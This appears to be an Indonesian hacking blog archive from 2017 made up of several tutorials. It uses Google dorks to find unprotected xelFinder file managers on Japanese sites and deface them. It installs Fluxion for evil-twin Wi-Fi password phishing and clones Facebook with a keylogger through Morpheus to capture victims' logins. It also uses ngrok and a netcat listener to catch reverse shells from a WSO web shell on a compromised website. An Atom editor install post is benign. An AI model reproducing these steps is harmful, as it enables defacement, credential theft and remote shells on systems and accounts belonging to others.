Wednesday, June 28, 2017

Deface Website Dengan Teknik XelFinder Filemanager

Hallo Guys Kali ini Saya Akan Share Tutorial Deface XelFinder Create File :) Ini Bukan Elfinder :V ini Khusus Site JP :V taulahh :V , Hahahahaha ( Ketawa Jahat ) ... Nahh Langsung Saja Yahh :V Step By Step :D

Bahan - Bahan :

DORK :
intitle:xelFinder site:jp
inurl:/Xelfinder/ site:Jp
inurl:/xelfinder/manager.php

Nahhh Pertama Kita Ambil Dork Salahh Satuu :) Search Ke Google




Nahh Jika Sudah Pilihh Salahh Satu Site Yang Anda Inginkan :V Jika Sudah, Cari Halaman Seperti ini :) 

Oke Disini kita Hanya Bisa Upload Type .txt doank :V kalau masalahh Upload Shell :V ane krang tauu :D coba" aja :V mana tau beruntung :D.. Oke Kita Cari "New Text File" Jika Bingung Liat Gambar Di Bawah ini 


Nahh Jika Sudah :) Kita Klik Kanan Pada File Text Baru tadi :V Pilihh "Edit File"


Ketik Apa Yang Anda Inginkan :V Contohnya Seperti ini :V Jika Sudahh Klik "Save" Jika Mau Ganti Nama Filenya Bisa Klik Kanan Pilih "Rename" Nahh Ganti dahh Sesuka Anda,


Untuk Melihat Hasilnya Cukup Sperti Langkah" Sebelumnya :D Klik Kanan Pilihh "Get Info" Nahh Nanti Muncul Seperti ini :V Tinggal Klik aja Bagian File kita :) Dan Liat Hasilnya :D 


Nahh Jika Sudah :D Kalau Mau Di Mirror'in Silahkan aj :V 



:V Hahahaha success :D Lumayan Nambah"in Mirror :D ...
Gimana Cukup Mudahkan ? :D Pasti Bisalahh :D coba aja :V
Nitip Nick Yahh : DeathCreppy
Salam Hangat Jones Unlimited Edition


Tuesday, June 27, 2017

Download Tool Goblok [GblkToolkit] ANDROID

Download dulu toolnya Disini )
Setelah itu ekstrak dan Letakan 2 File(gblok.img & pasang) didalamnya di luar Folder sdcard

Cara penginstalan

- ekstrak dulu file yg didownload tadi diluar folder di sdcard
- buka Terminal emulator
- ketik " su"
            "Cd sdcard"
           " sh pasang"

- tunggu sampa script terpasang semua,
- buka lagi TE
 Ketik
" su "
"Botbre"
" gblk"


Thanks to
- Arfian dicky firmansyah
- syifani abdulah.
- nunul azmi.
- Exsan drtt.

Install Fluxion di BackBox

Setelah mencoba beberapa distro linux untuk pentest, sepertinya saya memutuskan stay di backbox distro linux turunan ubuntu. Untuk newbie seperti saya dengan tampilan yang nyaman dan sudah dilengkapi beberapa tools untuk melakukan pentesting menjadi salah satu dasar pemilihan backbox linux.

By the way kali ini saya coba membahas Fluxion yups.. Fluxion adalah tools untuk meretas wifi dengan melakukan serangan pada wifi target sehingga tidak ada access point yang dapat masuk kedalam wifi router target . Setelah itu Fluxion akan menciptakan Wifi login tiruan untuk mengambil data username and password dari wifi target. 

Seperti biasa karena ini adalah pengetahuan yang bisa disalah gunakan maka penulis tidak bertanggung jawab dengan apapun yang diperbuat menggunakan tools ini. 


Langkah menginstall Fluxion : 

1. Cloning git Flusion dengan cara mengetikkan 
    $ git clone https://github.com/deltaxflux/fluxion.git

2. setelah selesai masuk ke dalam direktori fluxion
    $ sudo -s
   # cd fluxion

3. jalankan installer fluxion 
    # ./Installer.sh



4. Akan ada beberapa part yg dibutuhkan untuk diinstall yang pertama adalah    bully buka terminal baru, kemudian clone git bully.
   $ git clone https://github.com/aanarchyy/bully.git

tunggu hingga selesai, masih di terminal baru yang terbuka masuk ke direktori bully
   $ cd /bully/src
   $ sudo make
   $ sudo make install

5. jika telah selesai tutup terminal untuk menginstall bully kita kembali ke terminal tempat fluxion yg pertama dan jalankan fluxion untuk mengecek apakah bully telah terinstall, sisanya tinggal mdk3 dan php-cgi jika benar.
   # ./fluxion


6.  buka terminal baru karena kita akan mengistall mdk3 karena mdk3 dan php-cgi belum terinstall,

download mdk3 via browser disini :
http://linux.gungoos.com/mdk3-v6.tar.gz

serta patchnya disini
http://linux.gungoos.com/mdk3-v6.patch



7. extract mdk3 kemudian copy patch ke dalam folder mdk3 

    $ sudo -s
   #apt-get install patch
   #patch Makefile < mdk3-v6.patch 
   #rm mdk3-v6.patch
   #make
   #make install

8. silahkan ketikkan mdk3 di terminal untuk melihat apakah mdk3 telah terinstall
   #mdk3

9. Langkah terakhir adalah menginstall php-cgi

   #apt-get install php5-cgi libapache2-mod-php5 

10. Selesai sudah proses install fluxion di backbox linux, anda bisa memulai fluxion dengan mengetikkan 
   #./fluxion

Semoga bermanfaat, pastikan menguji coba tools ini pada wifi anda sendiri !!!

Monday, June 26, 2017

Backconnect Server Tanpa VPS/RDP

Backconnect Server Tanpa VPS/RDP

Simple tutorial buat yang belum ngerti.
Langsung sadja.
Step 1 Instalasi 
Daftar dulu di situs ngrok.io
Lalu kalian akan dapat Authtoken seperti ini
./ngrok authtoken xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
Lalu download filenya sesuai OS kalian Disini
DI tutorial ini gw pake linux
Command
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip

Lalu instal ngrok dengan auth token yang di berikan 
./ngrok authtoken xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX

Hasilnya akan seperti ini
Authtoken saved to configuration file: /home/0x1999/.ngrok2/ngrok.yml
Biar mudah kita pindahkan file ngrok ke /usr/bin 
sudo mv ngrok /usr/bin
Step 2 Cara Backconnect
Siapkan 3 terminal/CMD
Terminal 1.
Open port dengan nc , disini saya menggunakan port 666
nc -lvp 666

Kalo gagal ( Permission Denied ) tambahkan sudo di awal command
sudo nc -lvp 666
Hasilnya
listening on [any] 666 ...
Terminal 2.
ngrok tcp 666
Hasilnya akan seperti ini
Session Status online
Account 0x1999 (Plan: Free)
Version 2.2.4
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:17957 -> localhost:666
Kita ambil yang bagian Forwarding ( 0.tcp.ngrok.io:17957 )
Terminal 3.
Dapatkan IP 0.tcp.ngrok.io
ping 0.tcp.ngrok.io
Hasilnya
PING 0.tcp.ngrok.io (52.15.194.28) 56(84) bytes of data.
Nah kita ambil IP hasil PING
Backconnect sudah siap
Tinggal gass website yang akan di backconect
Pake IP (52.15.194.28) dan port (17957)
Contoh Pakai WSO Shell
Pilih [ Network ] 
Bagian Back-connect [perl]
Isi Server: 52.15.194.28 dan isi Port :17957
Tq ya , tinggalkan jejak pak ;)
Kurang faham bisa diskusi di bawah ;)

Install Morpheus di Backbox

  Kali ini saya akan membahas mengenai tools penetration testing bernama morpheus, morpheus ini adalah script yang dipergunakan untuk hacking dan cracking dalam satu jaringan dengan si korban. Dengan 16 pilihan attack untuk melakukan hacking. Tapi sebelum lebih jauh saya hanya menulis ini sebagai pengetahuan saja, saya tidak bertanggung jawab atas apa yg akan anda lakukan dengan mempergunakan tools ini !!!


Sebenarnya tools ini sangat menyerupai SEtoolkit yang sudah tersedia pada backbox linux tp tentunya dengan beberapa perbedaan sedikit baik tampilan menu pilihan dan kesederhanaan dalam mejalankan script, buat pemula seperti saya ini sangat membantu untuk mempermudah pemahaman dasar bagaimana cara tools ini bekerja.

Saat ini saya coba membahas salah satu options di morpheus yaitu website cloner dan key logger(13). Menu ini dipergunakan untuk mengambil data dari key yang diketikkan pada web tertentu yang telah di cloning sebelumnya. Saya pergunakan facebook sebagai contoh web yang akan kita cloning dan sematkan key logger.


nah setelah jendela metasploit console telah terbuka kita tinggal menunggu korban membuka halaman facebook dan mengisikan username dan password. Pada dasarnya tools ini membaca paket data yang diirimkan oleh perangkat korban dan mengarahkan pada apache server yang pada perangkat kita yang berisikan cloning dari webpage facebook. Pada website cloning juga berisi keyloger dengan memanfaatkan metasploit framework module sehingga pada hakikatnya korban dibuat untuk mengisi secara sukarela username dan passwordnya. Sebagai bahan percobaan saya mempergunakan smartphone saya sebagai korban dan laptop sebagai hacking toolsnya.



Sekali lagi saya mengingatkan ilmu pengetahuan seperti sebuah pisau yang dapat anda pergunakan untuk memotong bawang atau membunuh orang, semuanya berpulang kepada si pengguna semoga anda semua termasuk yg suka memotong bawang he.he.he

Semoga bermanfaat,

Membuat RDP Gratis kurang dari 5 Menit

- buka situs apponfly


- kamu bisa memilih beberapa pilihan Rdp,
  Cnth; Chrome, mozzila & centos

- disini saya menggunakan mozzila thunderbird


- klik aja try one Moneth free
- Nanti kamu disuruh memilih sign up via Fb/email disini Saya pilih Email. Setelah email diisi klik start   Free trial


- nanti keluar Notif disuruh Nunggu beberapa Detik.


- ente disuruh memilih Lagi, login via web/app Rdp. Ane pilih Rdp [lewat web gpp juga sama aja]


- buka Gmail/ymail/ yg ente datarin tadi disitu ada email dari apponfly yg berisi config rdp beserta
  pass, klik config rdp dari Gmail tadi[Download app Rdp Client di Playstore untuk membuka]


- selesai Rdp udah jadi

Nonton tutorialnya lewat Youtube Disini )
Maaf kalau acak2an gan soalnya buat tutor ini sehabis pulang kerja jadi gak Fokus, kalau ada yg pengen ditanyakan, bisa bertanya lewat komentar  dibawah

Install ATOM text Editor di BackBox

Selain Notepad QQ ataupun Sublime text kali ini saya akan coba share ATOM text editor untuk para developer yang memepergunakan sistem operasi linux Ubuntu. Atom text editor ini mempunyai fitur project explorer sehingga kita dapat dengan mudah berganti jendela file saat mengerjakan sebuah project web ataupun project lainnya seperti lua file pada ESP8266, yang tentunya akan sangat membantu kita dalam mempermudah pembuatan kode program. ATOM text editor sendiri memberikan banyak support plugins yang dapat didownload secara langsung, diantaranya Arduino plugins yang dapat dipergunakan untuk membuat program dan langsung menguploadnya ke Arduino.

Untuk menginstallnya kita harus menambahkan repository atom pada Backbox 4.7 dengan membuka terminal dan mengetikkan perintah berikut ini:

 $ sudo add-apt-repository ppa:webupd8team/atom 
add repo

Jika repository telah ditambahkan langkah berikutnya adalah melakukan update repository dan menginstall atom editor dengan mengetikkan perintah berikut pada terminal

 $ sudo apt-get update && sudo apt-get install -y atom 
update repo
 
kemudian tunggu hingga selesai
finish

Setelah selesai maka atom telah siap dipergunakan, karena saya menggunakan arduino maka saya menambahkan plugins untuk arduino agar dapat mengcompile dan mengupload program langsung dari atom. Plugins yang dibutuhkan untuk diinstall adalah Arduino Upload.


Mencoba sketch blink untuk di upload menggunakan atom 

sketch
Sketch blink untuk uji coba upload

plugins
Memilih Arduino Upload pada Packages menu

upload process
Proses upload
finish
Proses upload berhasil

Atom editor ini akan sangat membantu untuk developer yang menggunakan sistem operasi linux, diantaranya beutify-css/js untuk para web developer ataupun phyton plugins untuk pengguna raspi. Semoga bermanfaat.